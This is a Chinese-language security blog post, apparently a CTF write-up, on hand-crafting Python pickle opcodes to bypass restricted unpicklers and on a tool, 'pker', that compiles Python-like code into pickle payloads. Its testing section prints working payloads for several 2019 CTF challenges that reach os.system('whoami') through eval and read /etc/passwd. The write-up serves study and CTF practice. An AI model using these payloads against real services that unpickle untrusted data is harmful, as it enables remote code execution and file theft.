0x00 TL; DR

本文将通过分析今年几道通过手写Pickle opcode实现bypass的题目总结手撕Pickle的一些tips

以及通过遍历Python AST自动化生成Pickle opcode

repo地址https://github.com/eddieivan01/pker

0x01 Pickle简述

网上资料已经很多了,我就不再向互联网填充冗余信息了(可学习文末链接)

只总结Pickle的几个特点:

  • 非图灵完备的栈语言,没有运算、循环、条件分支等结构
  • 可以实现的操作
    • 构造Python内置基础类型(str, int, float, list, tuple, dict
    • dictlist成员的赋值(无法直接取值)
    • 对象成员的赋值(无法直接取值)
    • callable对象的调用
    • 通过_Pickler.find_class导入模块中的某对象,find_class的第一个参数可以是模块或包,本质是getattr(__import__(module), name)
    • 版本保持向下兼容,通过opcode头解析版本
    • 0号protocol使用\n作操作数的分割

0x02 Opcode简述

Pickle常见opcode,完整的可在$PYTHON/Lib/pickle.py查看

name op params describe e.g.
MARK ( null 向栈顶push一个MARK
STOP . null 结束
POP 0 null 丢弃栈顶第一个元素
POP_MARK 1 null 丢弃栈顶到MARK之上的第一个元素
DUP 2 null 在栈顶赋值一次栈顶元素
FLOAT F F [float] push一个float F1.0
INT I I [int] push一个integer I1
NONE N null push一个None
REDUCE R [callable] [tuple] R 调用一个callable对象 crandom\nRandom\n)R
STRING S S [string] push一个string S 'x'
UNICODE V V [unicode] push一个unicode string V 'x'
APPEND a [list] [obj] a 向列表append单个对象 ]I100\na
BUILD b [obj] [dict] b 添加实例属性(修改__dict__ cmodule\nCls\n)R(I1\nI2\ndb
GLOBAL c c [module] [name] 调用Pickler的find_class,导入module.name并push到栈顶 cos\nsystem\n
DICT d MARK [[k] [v]...] d 将栈顶MARK以前的元素弹出构造dict,再push回栈顶 (I0\nI1\nd
EMPTY_DICT } null push一个空dict
APPENDS e [list] MARK [obj...] e 将栈顶MARK以前的元素append到前一个的list ](I0\ne
GET g g [index] 从memo获取元素 g0
INST i MARK [args...] i [module] [cls] 构造一个类实例(其实等同于调用一个callable对象),内部调用了find_class (S'ls'\nios\nsystem\n
LIST l MARK [obj] l 将栈顶MARK以前的元素弹出构造一个list,再push回栈顶 (I0\nl
EMPTY_LIST ] null push一个空list
OBJ o MARK [callable] [args...] o 同INST,参数获取方式由readline变为stack.pop而已 (cos\nsystem\nS'ls'\no
PUT p p [index] 将栈顶元素放入memo p0
SETITEM s [dict] [k] [v] s 设置dict的键值 }I0\nI1\ns
TUPLE t MARK [obj...] t 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 (I0\nI1\nt
EMPTY_TUPLE ) null push一个空tuple
SETITEMS u [dict] MARK [[k] [v]...] u 将栈顶MARK以前的元素弹出update到前一个dict }(I0\nI1\nu

对应的实现都可以在pickle._Unpicklerload_*成员函数中查看,选取两个常见的:

pop_mark为将MARK(上的所有元素弹出为一个list,然后push回栈。所以需要这样构造(I0\nI1\nl

读取到INST指令后,往后读两个操作数,调用find_class,然后弹出栈上MARK以上的参数,调用callable对象实例化,所以这样构造(S'ls'\nios\nsystem\n.

0x03 官方的Demo限制了什么

官方给出的安全反序列化是继承了pickle.Pickler类,并重载了find_class方法

父类原本的操作是把module导入sys.module缓存中(并未导入全局或局部作用域),然后getattr取值,所以重载该方法后即可对module和name进行限制

哪些操作符会调用find_class

GLOBAL:c
INST  :i

还有protocol4的STACK_GLOBAL:\x93  # same as GLOBAL but using names on the stacks

find_class的限制仅仅是对该函数参数过滤,并没有hook __import__等函数,所以通过eval('__import__(\'xx\')')等即可绕过

0x04 Bypass方法简述

拿code breaking的举例,bypass的操作是:

getattr = __import__('builtins').getattr
eval = getattr(globals()['__builtins__'], 'eval')
eval('__import__("os").system("id")')

||||||
vvvvvv

getattr = __import__('builtins').getattr
dict = __import__('builtins', 'dict')
__builtins__ = getattr(dict, 'get')(__import__('builtins').globals(), '__builtins__')
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("id")')

这里有几个点:

  • 只可通过__import__来导入对象,所以获取__builtins__中的对象需要__import__('builtins').xx(Python2中是__builtin__
  • 由上一条,虽然__import__转手了__builtins__,但无法获取,还是得通过globals()['__builtins__']获取
  • 字典无法直接取值,需获取到dict的类方法get,传dict实例和key进去

0x05 自动化构造

构造起来很简单,但写着汇编操作符终究比较麻烦,我们可以想办法实现自动化的Python source code => Pickle opcode

我们可以做到什么:

  • 变量赋值:存到memo中,保存memo下标和变量名即可
  • 函数调用
  • 类型字面量构造
  • list和dict成员修改
  • 对象成员变量修改

感觉差不多足够应付常见构造,概括一下,我们支持这样的三种单行表达式:

  • 变量赋值:
    • 左值可以是变量名,dict或list的item,对象成员
    • 右值可以是基础类型字面量,函数调用
  • 函数调用
  • return:可返回0~1个参数

0x06 遍历AST节点

Python的ast.NodeVisitor实现了metaclass一样的动态解析类方法的功能,我们遍历这样三种语句

Pickler的__setitem__实现了主要解析逻辑:

对应了上文中赋值语句左值和右值的几种情况

0x07 TESTING

测试今年的几道题目

Code_breaking

$ cat test/code_breaking
getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
__builtins__ = dict_get(builtins, '__builtins__')
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("whoami")')
return

$ python3 pker.py < test/code_breaking
b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("whoami")\'\ntR.'

Guess_game

guess_game的两种方法,每一轮修改game对象的curr_ticket或修改game的round

提一嘴,这道题之所以能修改是因为每一轮导入的game是已实例化的对象,build操作直接update了实例属性

方法一:

$ cat test/SUCTF2019_guess_game_1
Game = GLOBAL('guess_game.Game', 'Game')
game = GLOBAL('guess_game', 'game')
game.round_count = 10
game.win_count = 10
ticket = INST('guess_game.Ticket', 'Ticket', 6)
return ticket

$ python3 pker.py < test/SUCTF2019_guess_game_1
b"cguess_game.Game\nGame\np0\n0cguess_game\ngame\np1\n0g1\n(N(S'round_count'\nI10\ndtbg1\n(N(S'win_count'\nI10\ndtb(I6\niguess_game.Ticket\nTicket\np4\n0g4\n."

方法二:

$ cat test/SUCTF2019_guess_game_2
ticket = INST('guess_game.Ticket', 'Ticket', 0)
game = GLOBAL('guess_game', 'game')
game.curr_ticket = ticket
return ticket

$ python3 pker.py < test/SUCTF2019_guess_game_2
b"(I0\niguess_game.Ticket\nTicket\np0\n0cguess_game\ngame\np1\n0g1\n(N(S'curr_ticket'\ng0\ndtbg0\n."

BalsnCTF2019_Pyshv1-3

https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv1

https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv2

https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv3

这三道题其实考察了不止Pickle opcode,包含一些Python特性的考察,重点还是放在Pickle payload的生成上吧

Pyshv1

$ cat test/BalsnCTF2019_Pyshv1
modules = GLOBAL('sys', 'modules')
modules['sys'] = modules
module_get = GLOBAL('sys', 'get')
os = module_get('os')
modules['sys'] = os
system = GLOBAL('sys', 'system')
system('whoami')
return

$ python3 pker.py < test/BalsnCTF2019_Pyshv1
b"csys\nmodules\np0\n0g0\nS'sys'\ng0\nscsys\nget\np2\n0g2\n(S'os'\ntRp3\n0g0\nS'sys'\ng3\nscsys\nsystem\np5\n0g5\n(S'whoami'\ntR."



$ cat test/BalsnCTF2019_Pyshv2
__dict__ = GLOBAL('structs', '__dict__')
builtins = GLOBAL('structs', '__builtins__')
gtat = GLOBAL('structs', '__getattribute__')
builtins['__import__'] = gtat
__dict__['structs'] = builtins
builtin_get = GLOBAL('structs', 'get')
eval = builtin_get('eval')
eval('open("/etc/passwd").read()')
return

$ python3 pker.py < test/BalsnCTF2019_Pyshv2
b'cstructs\n__dict__\np0\n0cstructs\n__builtins__\np1\n0cstructs\n__getattribute__\np2\n0g1\nS\'__import__\'\ng2\nsg0\nS\'structs\'\ng1\nscstructs\nget\np5\n0g5\n(S\'eval\'\ntRp6\n0g6\n(S\'open("/etc/passwd").read()\'\ntR.'




$ cat test/BalsnCTF2019_Pyshv3
User = GLOBAL('structs', 'User')
User.__set__ = User
user = User(0, 0)
User.privileged = user
return user

$ python3 pker.py < test/BalsnCTF2019_Pyshv3
b"cstructs\nUser\np0\n0g0\n(N(S'__set__'\ng0\ndtbg0\n(I0\nI0\ntRp2\n0g0\n(N(S'privileged'\ng2\ndtbg2\n."

这里再提一嘴:

  • 实例方法是自动绑定了实例本身的类方法,和函数签名是完全吻合的。直接获取实例的方法已经绑定了第一个参数,可以看作是函数的柯里化

  • 类的__set__方法需在类定义时定义,同样设置setter也需对类成员设置(类成员是类对象的成员,实例成员为各实例私有(今天还看见先知群师傅在问))

  • Python3中的类属性cls.__dict__是mappingproxy代理对象,不支持直接的cls.__dict__['x'] = 0的修改,所以在生成Pickle opcode中我统一使用了(}(I0\nI1\ndtb的方法,原因在Pickle源码中的load_build方法:

    • 其实按逻辑来说只要tuple的第一个值为空值即可,但模块实际导入了_pickle模块,和这里列出的函数实现不同,它要求第一个值必须是dict(也可以是None)

0x08 参考文章

点击收藏 | 5 关注 | 3 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖